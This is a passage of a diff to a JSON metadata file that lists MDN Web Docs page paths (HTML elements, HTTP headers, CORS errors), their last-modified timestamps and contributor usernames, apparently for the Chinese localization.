"Web/HTML/Quirks_Mode_and_Standards_Mode": { + "modified": "2020-01-30T04:57:28.634Z", "contributors": [ - "gafish", - "Serendipity96", - "williamjing", - "xgqfrms-GitHub", - "wleonid" + "RainSlide", + "Kacoo", + "chrisdavidmills", + "iigmir", + "anfGG8G0G8" ] }, - "Web/HTML/Element/object": { - "modified": "2020-10-15T21:25:11.550Z", + "Web/HTML/Reference": { + "modified": "2019-09-09T07:23:44.694Z", "contributors": [ - "gafish", - "zaixuzheng", - "Martin.Chow", - "ziyunfei", - "TimZhao" + "SphinxKnight", + "wbamberg", + "FredWe", + "Breezewish" ] }, - "Web/HTML/Element/ol": { - "modified": "2020-10-15T21:37:41.454Z", + "Web/HTML/Using_the_application_cache": { + "modified": "2019-10-29T05:43:20.065Z", "contributors": [ - "RainSlide", - "gafish", - "fcg55254", - "nuo2000", - "benpigchu", - "tcatche", - "Ende93", - "dongnanzhan", - "FredWe" + "7NZ", + "xgqfrms-GitHub", + "eforegist", + "liuzeyafzy", + "nianiaJR", + "shajiquan", + "hdwills", + "teoli", + "fsy0718", + "sunnylost", + "karsa.si" ] }, - "Web/HTML/Element/optgroup": { - "modified": "2020-10-15T21:48:34.575Z", + "Web/HTTP": { + "modified": "2020-08-27T09:08:49.830Z", "contributors": [ - "Carllllo", - "shinnqy" + "Lsnsh", + "dujun", + "RainSlide", + "taoyouh", + "shengjieli", + "userand", + "syt-honey", + "Pengfei", + "zhuangyin", + "JamieYang", + "xuxun", + "Ende93", + "xgqfrms-GitHub", + "sunnylost", + "cissoid", + "TomasRan", + "DreamerKing", + "ziyunfei" ] }, - "Web/HTML/Element/option": { - "modified": "2020-10-15T21:37:43.170Z", + "Web/HTTP/Authentication": { + "modified": "2020-01-19T22:05:27.998Z", "contributors": [ - "Carllllo", - "wizardforcel", - "King.", - "ziyunfei", - "zhache12345" + "cekingLu", + "gsxuan", + "zjffun", + "fanjieqi", + "rianma", + "wangpin", + "crper", + "WayneCui", + "GeJusdot", + "thomastao0215" ] }, - "Web/HTML/Element/output": { - "modified": "2020-10-15T21:41:37.216Z", + "Web/HTTP/Basics_of_HTTP": { + "modified": "2020-05-07T23:19:31.676Z", "contributors": [ - "wbamberg", - "zhangchen", - "King." + "Filon", + "HardcorePhysician", + "Yayure", + "695919451", + "BobGreen", + "magiclyde", + "cissoid" ] }, - "Web/HTML/Element/p": { - "modified": "2019-03-23T23:14:26.595Z", + "Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs": { + "modified": "2019-03-23T22:18:43.282Z", "contributors": [ - "Adashuai5", - "MrZhang", + "zqyue", "Ende93", - "FredWe", - "xingzhi" + "xgqfrms-GitHub", + "ziyunfei", + "chaos_zhang" ] }, - "Web/HTML/Element/param": { - "modified": "2020-10-15T21:50:13.073Z", + "Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP": { + "modified": "2020-02-20T03:41:08.272Z", "contributors": [ - "gafish", - "JinRong.Yang", - "naive233" + "Babyfaceqian", + "XFJGitHub", + "lc-soft", + "BobGreen", + "enjolras1205", + "zihengCat", + "GuoShuai", + "Haruhi", + "huangchanghuan", + "keifergu", + "JsonLi", + "WeijieZhu" ] }, - "Web/HTML/Element/picture": { - "modified": "2020-10-15T21:48:04.092Z", + "Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web": { + "modified": "2019-05-06T05:35:10.899Z", "contributors": [ - "imba-tjd", - "yisibl", - "PoppinL" + "wolfzZ", + "heyv5", + "springapple", + "Wendy_Love", + "yuankunzhang", + "little-tomorrow", + "DreamerKing" ] }, - "Web/HTML/Element/plaintext": { - "modified": "2019-03-23T22:10:03.107Z", + "Web/HTTP/Basics_of_HTTP/MIME_types": { + "modified": "2020-11-04T00:16:29.009Z", "contributors": [ - "wizardforcel" + "lujjjh", + "andysongs", + "rascalquan", + "BobGreen", + "NewbieAndy", + "zhangchen", + "xgqfrms-GitHub", + "w11th", + "YuriTu" ] }, - "Web/HTML/Element/pre": { - "modified": "2020-10-15T21:39:48.026Z", + "Web/HTTP/Basics_of_HTTP/MIME_types/Common_types": { + "modified": "2020-02-28T13:11:23.222Z", "contributors": [ - "gafish", + "chrisdavidmills", + "RainSlide", + "qq58553442", + "sam-dingkang", "xgqfrms-GitHub", - "jiangseventeen", - "VdoG", - "Ende93", - "pengliheng" + "choury", + "pasturn" ] }, - "Web/HTML/Element/progress": { - "modified": "2020-10-15T21:05:48.761Z", + "Web/HTTP/Browser_detection_using_the_user_agent": { + "modified": "2019-03-23T22:26:23.825Z", "contributors": [ - "wonschangge", - "mkckr0", - "fscholz", - "wbamberg", - "ziyunfei", - "ethertank" + "xgqfrms-GitHub", + "konrumi", + "Leogh", + "jianyi1995" ] }, - "Web/HTML/Element/q": { - "modified": "2020-10-15T21:44:22.274Z", + "Web/HTTP/CORS/Errors": { + "modified": "2019-05-27T00:23:38.306Z", "contributors": [ - "kenneth55555", - "fscholz", - "Zyan", - "Ende93", - "Jiang-Xuan" + "waka3", + "nchevobbe", + "luna666", + "Sheppy" ] }, - "Web/HTML/Element/rb": { - "modified": "2020-10-15T22:14:32.981Z", + "Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin": { + "modified": "2019-07-18T02:34:22.209Z", "contributors": [ - "richardmyu", - "zhaohaodang", - "astak" + "PYGC", + "ty1921" ] }, - "Web/HTML/Element/rp": { - "modified": "2020-05-03T03:15:11.285Z", + "Web/HTTP/CORS/Errors/CORSDidNotSucceed": { + "modified": "2019-07-29T07:01:42.837Z", "contributors": [ - "tangallison2", - "wizardforcel" + "crvdgc", + "levo2165", + "luna666" ] }, - "Web/HTML/Element/rt": { - "modified": "2019-04-18T06:06:40.759Z", + "Web/HTTP/CORS/Errors/CORSDisabled": { + "modified": "2019-05-09T05:04:22.066Z", "contributors": [ - "Yujiyang", - "Benjamin-Smith", - "wizardforcel" + "luna666" ] }, - "Web/HTML/Element/rtc": { - "modified": "2019-04-18T06:06:45.477Z", + "Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed": { + "modified": "2019-03-18T21:29:51.027Z", "contributors": [ - "wizardforcel" + "luna666" ] }, - "Web/HTML/Element/ruby": { - "modified": "2020-10-15T21:40:22.004Z", + "Web/HTTP/CORS/Errors/CORSMethodNotFound": { + "modified": "2019-08-27T04:22:52.153Z", "contributors": [ - "xgqfrms", - "studyMakesMeHappy", - "zhangchen", - "Roger-WIN", - "wizardforcel", - "Martin.Chow" + "laingke" ] }, - "Web/HTML/Element/s": { - "modified": "2020-10-15T21:55:24.184Z", + "Web/HTTP/CORS/Errors/CORSMissingAllowOrigin": { + "modified": "2019-03-18T21:22:06.783Z", "contributors": [ - "gafish", - "wizardforcel" + "zhangchen", + "coderyyx" ] }, - "Web/HTML/Element/samp": { - "modified": "2019-03-23T22:33:11.911Z", + "Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed": { + "modified": "2019-10-30T01:07:54.026Z", "contributors": [ - "luobotang" + "Fimreal" ] }, - "Web/HTML/Element/script": { - "modified": "2020-08-05T19:13:19.581Z", + "Web/HTTP/CORS/Errors/CORSNotSupportingCredentials": { + "modified": "2019-06-16T23:37:59.140Z", "contributors": [ - "mitaosi", - "michalska.lucyna88", - "harryzcy", - "namklaw", - "heekei", - "Soy", - "unclesamnumberone", - "Jackandjohn", - "xhlsrj", - "xgqfrms-GitHub", - "Ende93", - "ahwassa", - "gqqnbig", - "fskuok" + "feiyuerenhai" ] }, - "Web/HTML/Element/section": { - "modified": "2020-10-15T21:22:44.033Z", + "Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded": { + "modified": "2019-03-18T21:29:48.470Z", "contributors": [ - "shawn20111416", - "gafish", - "wbamberg", - "kevinfszu", - "Annlix", - "ziyunfei", - "TimZhao" + "luna666" ] }, - "Web/HTML/Element/select": { - "modified": "2020-10-15T21:27:52.792Z", + "Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed": { + "modified": "2019-03-18T21:17:44.250Z", "contributors": [ - "Carllllo", - "zhangchen", - "wbamberg", - "pavilion2t", - "DUHZ", - "brandonzhu", - "ReyCG", - "ziyunfei" + "MinimalistYing" ] }, - "Web/HTML/Element/slot": { - "modified": "2020-10-15T21:54:42.237Z", + "Web/HTTP/CORS/Errors/CORSRequestNotHttp": { + "modified": "2019-09-20T04:35:01.396Z", "contributors": [ - "Jennyshining", - "xgqfrms", - "maicss", - "n313893254" + "RainSlide", + "grape", + "xuyuehang", + "luna666" ] }, - "Web/HTML/Element/small": { - "modified": "2020-10-15T21:51:17.821Z", + "Web/HTTP/CSP": { + "modified": "2020-10-15T21:34:44.353Z", "contributors": [ - "gafish", - "wizardforcel", - "rollinhup", - "Tidejade" + "fanjieqi", + "phodal", + "ceido", + "jwhitlock", + "ldwformat", + "wang1dot0", + "WayneCui", + "xgqfrms-GitHub", + "zhang-quan-yi", + "hxl", + "zhi.lin", + "yuankunzhang", + "ziyunfei", + "Breezewish" ] }, - "Web/HTML/Element/source": { - "modified": "2019-07-01T10:30:44.709Z", + "Web/HTTP/Compression": { + "modified": "2019-06-20T00:32:44.768Z", "contributors": [ - "l613", - "flyingsouthwind", - "naive233", - "ziyunfei", - "x-false" + "liangzhaorong", + "BobGreen", + "zhangchen", + "WayneCui" ] }, - "Web/HTML/Element/spacer": { - "modified": "2019-03-23T22:10:12.608Z", + "Web/HTTP/Conditional_requests": { + "modified": "2019-09-19T06:11:16.911Z", "contributors": [ - "wizardforcel" + "leah_humlelu", + "Trendymen", + "xianweics", + "WayneCui" ] }, - "Web/HTML/Element/span": { - "modified": "2020-11-23T03:27:28.387Z", + "Web/HTTP/Configuring_servers_for_Ogg_media": { + "modified": "2019-12-27T03:08:09.838Z", "contributors": [ - "Ende93", - "mitaosi", - "gafish", - "wh.D", - "OlafCheng", - "King.", - "Fadeoc" + "Syaki" ] }, - "Web/HTML/Element/strike": { - "modified": "2019-03-23T22:10:15.972Z", + "Web/HTTP/Connection_management_in_HTTP_1.x": { + "modified": "2019-11-07T04:16:26.733Z", "contributors": [ - "wizardforcel" + "woshiqiang1", + "Jack.Works", + "HardcorePhysician", + "jianglinghao", + "YiBanCangBai", + "guoshencheng", + "fanjieqi", + "athena0304", + "springapple", + "shaunlee" ] }, - "Web/HTML/Element/strong": { - "modified": "2019-03-23T22:28:05.903Z", + "Web/HTTP/Content_negotiation": { + "modified": "2020-10-08T10:02:32.752Z", "contributors": [ - "bobo159357456", - "liwenkang", - "coolguy" + "mh47838704", + "SunnyWind", + "lhc0101", + "WayneCui" ] }, - "Web/HTML/Element/style": { - "modified": "2020-10-15T21:33:11.824Z", + "Web/HTTP/Cookies": { + "modified": "2020-10-13T05:17:34.094Z", "contributors": [ - "dlnb526", - "VdoG", - "linghuam", - "RandyOu", - "mengzyou" + "fzhyzamt", + "dake0805", + "RoXoM", + "ysqzhang", + "zh244135370", + "luvsunlight", + "mingzhang6", + "rascalquan", + "houyewei", + "huangyingjie", + "zihengCat", + "lc-soft", + "zhang-hongwei", + "yenshen", + "keifergu", + "FideoJ", + "AlenQi", + "sintrb", + "jdk137", + "charlie" ] }, - "Web/HTML/Element/sub": { - "modified": "2019-03-23T22:10:11.284Z", + "Web/HTTP/Headers": { + "modified": "2020-05-20T02:33:50.716Z", "contributors": [ - "wizardforcel" + "spe-shun", + "cy234", + "c1er", + "Bayes", + "Jacksonary", + "rikkif", + "Weix", + "xgqfrms-GitHub", + "AlenQi", + "linzhixiong" ] }, - "Web/HTML/Element/summary": { - "modified": "2020-10-15T21:40:24.548Z", + "Web/HTTP/Headers/Accept": { + "modified": "2020-10-15T21:50:50.340Z", "contributors": [ - "JulesWang", + "xiaozhaofu", + "WayneCui", "xgqfrms-GitHub", - "Martin.Chow" + "stevobm" ] }, - "Web/HTML/Element/sup": { - "modified": "2019-10-01T21:38:22.903Z", + "Web/HTTP/Headers/Accept-CH": { + "modified": "2020-10-15T22:24:12.153Z", "contributors": [ - "wizardforcel" + "xuhui98" ] }, - "Web/HTML/Element/table": { - "modified": "2020-10-15T21:37:19.437Z", + "Web/HTTP/Headers/Accept-CH-Lifetime": { + "modified": "2020-10-15T22:25:10.809Z", "contributors": [ - "Ende93", - "stormyyd", - "Toobubble", - "codevvvv9", - "xgqfrms-GitHub", - "eforegist", - "jdk137", - "studentytj", - "PandaadnaP", - "Simcookies", - "zhe13", - "hexiaoming", - "FredWe" + "chen3feng" ] }, - "Web/HTML/Element/td": { - "modified": "2020-10-15T21:37:19.273Z", + "Web/HTTP/Headers/Accept-Charset": { + "modified": "2020-10-15T21:50:53.082Z", "contributors": [ - "RainSlide", - "853419196", - "FredWe" + "shinken008", + "Dorllen", + "WayneCui", + "xgqfrms-GitHub" ] }, - "Web/HTML/Element/template": { - "modified": "2020-10-15T21:31:49.045Z", + "Web/HTTP/Headers/Accept-Encoding": { + "modified": "2020-10-15T21:53:10.909Z", "contributors": [ - "zhangchen", - "sky5454", - "xgqfrms-GitHub", - "Breezewish" + "xiaozhaofu", + "WayneCui", + "felixwang-1989", + "yt449", + "xgqfrms-GitHub" ] }, - "Web/HTML/Element/textarea": { - "modified": "2020-10-15T21:37:11.943Z", + "Web/HTTP/Headers/Accept-Language": { + "modified": "2020-10-15T21:53:13.880Z", "contributors": [ - "Carllllo", - "wuzhibo", - "gafish", - "Bayes", - "xianjiezh", - "koaqiu", - "celinaYu", - "maicss", - "xgqfrms-GitHub", - "DeronLee", - "FredWe" + "ran", + "RainSlide", + "WayneCui", + "yuankunzhang" ] }, - "Web/HTML/Element/tfoot": { - "modified": "2020-10-15T22:04:34.366Z", + "Web/HTTP/Headers/Accept-Patch": { + "modified": "2020-10-15T22:19:49.009Z", "contributors": [ - "nagisa", - "tomoru" + "Sod-Momas" ] }, - "Web/HTML/Element/th": { - "modified": "2020-10-15T21:59:42.026Z", + "Web/HTTP/Headers/Accept-Ranges": { + "modified": "2020-10-15T21:54:15.134Z", "contributors": [ - "853419196", - "silkey", - "levinweb" + "Vincent-Hy", + "km-c", + "JianmingXia", + "crper", + "shevacjs" ] }, - "Web/HTML/Element/thead": { - "modified": "2020-10-15T21:52:32.187Z", + "Web/HTTP/Headers/Access-Control-Allow-Credentials": { + "modified": "2020-10-15T21:51:29.367Z", "contributors": [ - "gafish", + "deping_chen", + "Bayes", + "xiasha", "fscholz", - "gilking", - "xgqfrms-GitHub", - "wzvoid" + "crper", + "keqingrong", + "TiaossuP", + "tty4" ] }, - "Web/HTML/Element/time": { - "modified": "2019-03-24T00:15:12.173Z", + "Web/HTTP/Headers/Access-Control-Allow-Headers": { + "modified": "2020-10-15T21:54:48.443Z", "contributors": [ - "wbamberg", - "RandyOu", - "xunmorl", - "hxl", - "ziyunfei" + "GuoYaxiang", + "shadowkimi520", + "Soyaine", + "WayneCui" ] }, - "Web/HTML/Element/title": { - "modified": "2020-10-15T21:41:22.327Z", + "Web/HTTP/Headers/Access-Control-Allow-Methods": { + "modified": "2020-10-15T21:54:49.842Z", "contributors": [ - "dlnb526", - "tomcat1234", - "Annlix", - "venden" + "Jat", + "crper", + "WayneCui" ] }, - "Web/HTML/Element/tr": { - "modified": "2020-12-10T03:16:48.200Z", + "Web/HTTP/Headers/Access-Control-Allow-Origin": { + "modified": "2020-10-15T21:52:46.095Z", "contributors": [ - "窦静杰", - "Bayes", - "zxcvbnm" + "TiaossuP", + "konrumi" ] }, - "Web/HTML/Element/track": { - "modified": "2020-10-15T21:28:38.735Z", + "Web/HTTP/Headers/Access-Control-Expose-Headers": { + "modified": "2020-10-15T21:54:48.426Z", "contributors": [ - "lizheming", - "Alex-DMC", - "gafish", - "flyingsouthwind", - "wbamberg", - "naive233", - "Martin.Chow", - "hxl" + "lijsh", + "WayneCui" ] }, - "Web/HTML/Element/tt": { - "modified": "2019-03-23T22:22:44.407Z", + "Web/HTTP/Headers/Access-Control-Max-Age": { + "modified": "2020-10-15T21:54:52.194Z", "contributors": [ - "wizardforcel", - "sayNo123" + "zkerhcy", + "xiaozhaofu", + "jinliming2", + "crper", + "WayneCui" ] }, - "Web/HTML/Element/u": { - "modified": "2020-10-15T21:52:32.682Z", + "Web/HTTP/Headers/Access-Control-Request-Headers": { + "modified": "2020-10-15T21:54:29.946Z", "contributors": [ - "liruiux", - "yuyuanqiu", - "gafish", - "wizardforcel", - "hawm" + "xiaozhaofu", + "crper", + "WayneCui", + "xgqfrms-GitHub" ] }, - "Web/HTML/Element/ul": { - "modified": "2020-10-15T21:45:30.830Z", + "Web/HTTP/Headers/Access-Control-Request-Method": { + "modified": "2020-10-15T21:54:31.833Z", "contributors": [ - "xq20160912", - "gafish", - "RainSlide", - "ChaunceyWang", - "TangiDing", - "Eternaldeath", - "kgojiwong", - "Invar", - "Ende93" + "xiaozhaofu", + "WayneCui", + "xgqfrms-GitHub" ] }, - "Web/HTML/Element/var": { - "modified": "2020-10-15T21:40:23.614Z", + "Web/HTTP/Headers/Age": { + "modified": "2020-10-15T21:54:37.562Z", "contributors": [ - "xgqfrms", - "Martin.Chow" + "wangtongchao", + "fscholz", + "crper", + "WayneCui" ] }, - "Web/HTML/Element/video": { - "modified": "2020-10-15T21:26:33.227Z", + "Web/HTTP/Headers/Allow": { + "modified": "2019-03-23T22:14:32.513Z", "contributors": [ - "myy7362", - "Yangjia23", - "hahaaha", - "kirbey", - "DonSen", - "beautyTang", - "jnvf", - "Soyaine", - "wbamberg", - "Shangxin", - "esterTion", - "jfw10973", - "ziyunfei", - "hxl" + "yuankunzhang" ] }, - "Web/HTML/Element/wbr": { - "modified": "2020-10-15T21:55:23.940Z", + "Web/HTTP/Headers/Alt-Svc": { + "modified": "2020-10-15T22:12:25.895Z", "contributors": [ - "Ende93", - "wizardforcel" + "liuhaoXD", + "Light.G" ] }, - "Web/HTML/Element/xmp": { - "modified": "2020-10-15T21:40:04.585Z", + "Web/HTTP/Headers/Authorization": { + "modified": "2019-03-23T22:11:31.823Z", "contributors": [ - "GitHub-XQ", - "RainSlide", - "Martin.Chow" + "Bayes", + "crper", + "WayneCui" ] }, - "Web/HTML/Focus_management_in_HTML": { - "modified": "2019-03-23T23:31:56.410Z", + "Web/HTTP/Headers/Cache-Control": { + "modified": "2020-10-15T21:50:34.341Z", "contributors": [ - "xgqfrms-GitHub", - "kmc947373", - "sxxxsz", - "Breezewish", - "teoli", - "sunnylost" + "kidonng", + "woshiqiang1", + "DanielCui", + "taoyouh", + "tenghuanhe", + "ngulee", + "kaliExist", + "wangtongchao", + "marsorsun", + "cnc233", + "codevvvv9", + "pearzl", + "tianyuqingkong", + "zliy", + "NatureFeng", + "schickal", + "fscholz", + "shaunsxj", + "paranoidjk", + "visten" ] }, - "Web/HTML/Global_attributes": { - "modified": "2020-10-15T21:24:25.636Z", + "Web/HTTP/Headers/Clear-Site-Data": { + "modified": "2020-10-15T22:07:13.779Z", "contributors": [ - "wangfangping", - "gafish", - "fangshuaituo", - "depcorn", - "nagisa", - "qihuanlu01", - "eforegist", - "Ende93", - "sdc37h", - "Jasery", - "xgqfrms-GitHub", - "hawm", - "OlafCheng", - "vicvinc", - "Shaoqiang.Zhang", - "zhangking", - "TimZhao", - "ziyunfei", - "bugknightyyp" + "bershanskiy", + "wangtongchao" ] }, - "Web/HTML/Global_attributes/accesskey": { - "modified": "2020-10-15T21:54:59.494Z", + "Web/HTTP/Headers/Connection": { + "modified": "2020-10-15T21:51:42.086Z", "contributors": [ - "zhangchen", - "eforegist", - "ziyunfei", - "Ende93", - "wizardforcel", - "moque" + "zhuguibiao", + "ujsxn", + "shinyoo" ] }, - "Web/HTML/Global_attributes/autocapitalize": { - "modified": "2020-10-15T22:07:56.542Z", + "Web/HTTP/Headers/Content-Disposition": { + "modified": "2020-11-15T00:23:13.412Z", "contributors": [ - "zhangchen", - "eforegist" + "Alan-Liang", + "xiaozhaofu", + "WayneCui", + "icaoweiwei", + "JavacPro" ] }, - "Web/HTML/Global_attributes/class": { - "modified": "2020-10-15T21:39:56.865Z", + "Web/HTTP/Headers/Content-Encoding": { + "modified": "2020-10-15T21:54:51.398Z", "contributors": [ - "zhangchen", - "eforegist", - "YehaiChen", - "ChuckZhang", - "Feihei" + "DynamicAnt", + "WayneCui" ] }, - "Web/HTML/Global_attributes/contenteditable": { - "modified": "2020-10-15T21:37:25.983Z", + "Web/HTTP/Headers/Content-Language": { + "modified": "2020-10-15T21:54:49.923Z", "contributors": [ - "zhangchen", - "xgqfrms", - "eforegist", - "AlexChao" + "HankXu", + "yuantongkang", + "WayneCui" ] }, - "Web/HTML/Global_attributes/contextmenu": { - "modified": "2020-10-15T21:51:27.709Z", + "Web/HTTP/Headers/Content-Length": { + "modified": "2020-10-15T21:54:51.554Z", "contributors": [ - "SphinxKnight", - "eforegist", - "Ende93", - "shuangya" + "rascalquan", + "WayneCui" ] }, - "Web/HTML/Global_attributes/data-*": { - "modified": "2020-10-15T21:36:49.775Z", + "Web/HTTP/Headers/Content-Location": { + "modified": "2020-10-15T21:54:51.676Z", "contributors": [ - "wallena3", - "symant233", - "zhangchen", - "Bonlin0", - "eforegist", - "xgqfrms-GitHub", - "kameii", - "FredWe" + "WayneCui" ] }, - "Web/HTML/Global_attributes/dir": { - "modified": "2019-03-18T20:38:23.878Z", + "Web/HTTP/Headers/Content-Range": { + "modified": "2020-10-15T21:54:39.510Z", "contributors": [ - "jdk137", - "mona" + "WayneCui" ] }, - "Web/HTML/Global_attributes/draggable": { - "modified": "2019-03-23T23:03:48.842Z", + "Web/HTTP/Headers/Content-Security-Policy": { + "modified": "2020-10-15T21:51:40.481Z", "contributors": [ - "TooBug" + "xiao11lang", + "hq5544", + "SphinxKnight", + "lowerpierman", + "taoyouh", + "imba-tjd", + "lvgg3271", + "alan199355", + "anchen", + "9ii", + "Forbidden", + "crper", + "lcw0622", + "SuunZhu" ] }, - "Web/HTML/Global_attributes/dropzone": { - "modified": "2019-03-23T22:10:15.156Z", + "Web/HTTP/Headers/Content-Security-Policy-Report-Only": { + "modified": "2020-10-15T21:55:30.073Z", "contributors": [ - "wizardforcel" + "Pada" ] }, - "Web/HTML/Global_attributes/hidden": { - "modified": "2020-10-08T07:06:44.011Z", + "Web/HTTP/Headers/Content-Security-Policy/base-uri": { + "modified": "2020-10-15T21:56:06.256Z", "contributors": [ - "Martin730913", - "LeoQuote", - "wizardforcel", - "bestdream", - "gaopu" + "SphinxKnight", + "WayneCui" ] }, - "Web/HTML/Global_attributes/id": { - "modified": "2020-10-15T21:37:13.339Z", + "Web/HTTP/Headers/Content-Security-Policy/block-all-mixed-content": { + "modified": "2020-10-15T21:56:06.231Z", "contributors": [ - "shawn20111416", - "kidonng", - "YehaiChen", - "JoshuaLee", - "zhangyudan" + "SphinxKnight", + "WayneCui" ] }, - "Web/HTML/Global_attributes/inputmode": { - "modified": "2020-10-15T22:20:42.369Z", + "Web/HTTP/Headers/Content-Security-Policy/child-src": { + "modified": "2020-10-15T22:22:07.630Z", "contributors": [ - "qiudongwei" + "SphinxKnight", + "1930082875" ] }, - "Web/HTML/Global_attributes/is": { - "modified": "2020-10-15T22:04:17.093Z", + "Web/HTTP/Headers/Content-Security-Policy/connect-src": { + "modified": "2020-10-15T22:04:24.950Z", "contributors": [ - "Kollar93" + "SphinxKnight", + "shevacjs" ] }, - "Web/HTML/Global_attributes/itemid": { - "modified": "2019-03-23T22:10:08.155Z", + "Web/HTTP/Headers/Content-Security-Policy/default-src": { + "modified": "2020-10-15T21:55:35.542Z", "contributors": [ - "Ende93", - "wizardforcel" + "SphinxKnight", + "eachcan", + "shevacjs", + "Forbidden", + "WayneCui", + "EEord" ] }, - "Web/HTML/Global_attributes/itemprop": { - "modified": "2019-03-23T22:09:25.188Z", + "Web/HTTP/Headers/Content-Security-Policy/font-src": { + "modified": "2020-10-15T22:11:53.390Z", "contributors": [ - "xzy112233", - "MZI", - "bestdream" + "SphinxKnight", + "eachcan" ] }, - "Web/HTML/Global_attributes/itemref": { - "modified": "2019-07-13T06:25:04.662Z", + "Web/HTTP/Headers/Content-Security-Policy/form-action": { + "modified": "2020-10-15T22:20:11.267Z", "contributors": [ - "wangfangping", - "Mukti", - "wizardforcel" + "SphinxKnight", + "feiyuerenhai" ] }, - "Web/HTML/Global_attributes/itemscope": { - "modified": "2019-03-23T22:04:34.982Z", + "Web/HTTP/Headers/Content-Security-Policy/frame-ancestors": { + "modified": "2020-10-15T21:56:28.759Z", "contributors": [ - "codedrinker", - "Mukti" + "SphinxKnight", + "ldwformat" ] }, - "Web/HTML/Global_attributes/itemtype": { - "modified": "2019-03-23T22:10:01.057Z", + "Web/HTTP/Headers/Content-Security-Policy/report-to": { + "modified": "2020-10-15T22:04:25.324Z", "contributors": [ - "wizardforcel" + "SphinxKnight", + "shevacjs" ] }, - "Web/HTML/Global_attributes/lang": { - "modified": "2019-10-01T21:48:16.715Z", + "Web/HTTP/Headers/Content-Security-Policy/require-sri-for": { + "modified": "2020-10-15T22:04:29.993Z", "contributors": [ - "wangfangping", - "wizardforcel" + "SphinxKnight", + "shevacjs" ] }, - "Web/HTML/Global_attributes/part": { - "modified": "2020-10-15T22:31:54.138Z", + "Web/HTTP/Headers/Content-Security-Policy/sandbox": { + "modified": "2020-10-15T22:18:49.969Z", "contributors": [ - "wuding" + "SphinxKnight", + "Syclover-u2400" ] }, - "Web/HTML/Global_attributes/slot": { - "modified": "2020-10-15T21:55:11.414Z", + "Web/HTTP/Headers/Content-Security-Policy/script-src-elem": { + "modified": "2020-10-15T22:32:24.500Z", "contributors": [ - "zhangchen", - "wizardforcel" + "davidguhao" ] }, - "Web/HTML/Global_attributes/spellcheck": { - "modified": "2019-03-23T22:18:18.900Z", + "Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests": { + "modified": "2020-10-15T22:04:14.644Z", "contributors": [ - "wizardforcel", - "xcffl", - "fjh352", - "xgqfrms-GitHub" + "SphinxKnight", + "shevacjs" ] }, - "Web/HTML/Global_attributes/style": { - "modified": "2019-03-23T22:10:06.901Z", + "Web/HTTP/Headers/Content-Security-Policy/worker-src": { + "modified": "2020-10-15T22:30:56.058Z", "contributors": [ - "wizardforcel" + "oyyunttt" ] }, - "Web/HTML/Global_attributes/tabindex": { - "modified": "2020-10-15T21:55:15.899Z", + "Web/HTTP/Headers/Content-Type": { + "modified": "2020-10-15T21:50:48.235Z", "contributors": [ - "xrkffgg", - "zhangchen", - "fjh352", - "wizardforcel" + "ZL1019", + "kadoufall", + "WayneCui", + "xgqfrms-GitHub", + "wanhh" ] }, - "Web/HTML/Global_attributes/title": { - "modified": "2020-03-11T07:59:38.824Z", + "Web/HTTP/Headers/Cookie": { + "modified": "2020-10-15T21:54:53.599Z", "contributors": [ - "YangYihui", - "monkeyDyang", - "wizardforcel" + "WayneCui" ] }, - "Web/HTML/Global_attributes/translate": { - "modified": "2019-06-05T06:41:04.292Z", + "Web/HTTP/Headers/Cookie2": { + "modified": "2020-10-15T21:54:52.521Z", "contributors": [ - "Martin.Chow" + "WayneCui" ] }, - "Web/HTML/Global_attributes/x-ms-加速装置键": { - "modified": "2019-12-03T17:45:24.248Z", + "Web/HTTP/Headers/Cross-Origin-Embedder-Policy": { + "modified": "2020-10-15T22:33:37.678Z", "contributors": [ - "pans9" + "jguo0118", + "hellorayza" ] }, - "Web/HTML/Global_attributes/x-ms-格式-检测": { - "modified": "2019-12-03T17:54:04.795Z", + "Web/HTTP/Headers/Cross-Origin-Resource-Policy": { + "modified": "2020-10-15T22:17:29.651Z", "contributors": [ - "pans9" + "NightKing_hmsf" ] }, - "Web/HTML/Index": { - "modified": "2019-03-21T11:52:09.419Z", + "Web/HTTP/Headers/DNT": { + "modified": "2020-10-15T21:54:53.651Z", "contributors": [ - "RainSlide", - "xcffl" + "yenshen", + "WayneCui" ] }, - "Web/HTML/Inline_elements": { - "modified": "2020-08-05T19:04:54.777Z", + "Web/HTTP/Headers/DPR": { + "modified": "2020-10-15T22:25:12.812Z", "contributors": [ - "mitaosi", - "chrisdavidmills", - "Raine_Huang", - "FredWe", - "ziyunfei", - "pmtao" + "zhangchen", + "charles-debug" ] }, - "Web/HTML/Link_types": { - "modified": "2020-10-15T21:31:40.375Z", + "Web/HTTP/Headers/Date": { + "modified": "2020-10-15T21:54:52.166Z", "contributors": [ - "chanvin", - "Yayure", - "gafish", - "JuliusKingsley", - "songlime", - "liutongshuo", - "idlefire", - "hstarorg", - "Ende93", - "grtreexyz", - "blue0125", - "Breezewish" + "liaozhaonan", + "WayneCui" ] }, - "Web/HTML/Link_types/prefetch": { - "modified": "2020-10-15T22:29:06.249Z", + "Web/HTTP/Headers/Device-Memory": { + "modified": "2020-10-15T22:27:14.967Z", "contributors": [ - "chanvin" + "csliubo" ] }, - "Web/HTML/Link_types/preload": { - "modified": "2020-10-15T22:29:06.417Z", + "Web/HTTP/Headers/Digest": { + "modified": "2020-10-15T22:22:30.332Z", "contributors": [ - "chanvin" + "Mulan" ] }, - "Web/HTML/Microdata": { - "modified": "2019-07-13T06:56:53.858Z", - "contributors": [ - "wangfangping" + "Web/HTTP/Headers/ETag": { + "modified": "2020-10-15T21:54:16.091Z", + "contributors": [ + "Opportunity", + "zhangchen", + "LeoQuote", + "qihaiyan", + "Mdxin", + "WayneCui", + "luckymore" ] }, - "Web/HTML/Optimizing_your_pages_for_speculative_parsing": { - "modified": "2019-03-23T22:46:26.910Z", + "Web/HTTP/Headers/Early-Data": { + "modified": "2020-10-15T22:10:58.660Z", "contributors": [ - "huangcheng", - "ziyunfei", - "mengshukun" + "Greenstorm", + "TUARAN" ] }, - "Web/HTML/Preloading_content": { - "modified": "2020-06-09T23:26:32.370Z", + "Web/HTTP/Headers/Expect": { + "modified": "2019-03-23T22:11:24.440Z", "contributors": [ - "huyue", - 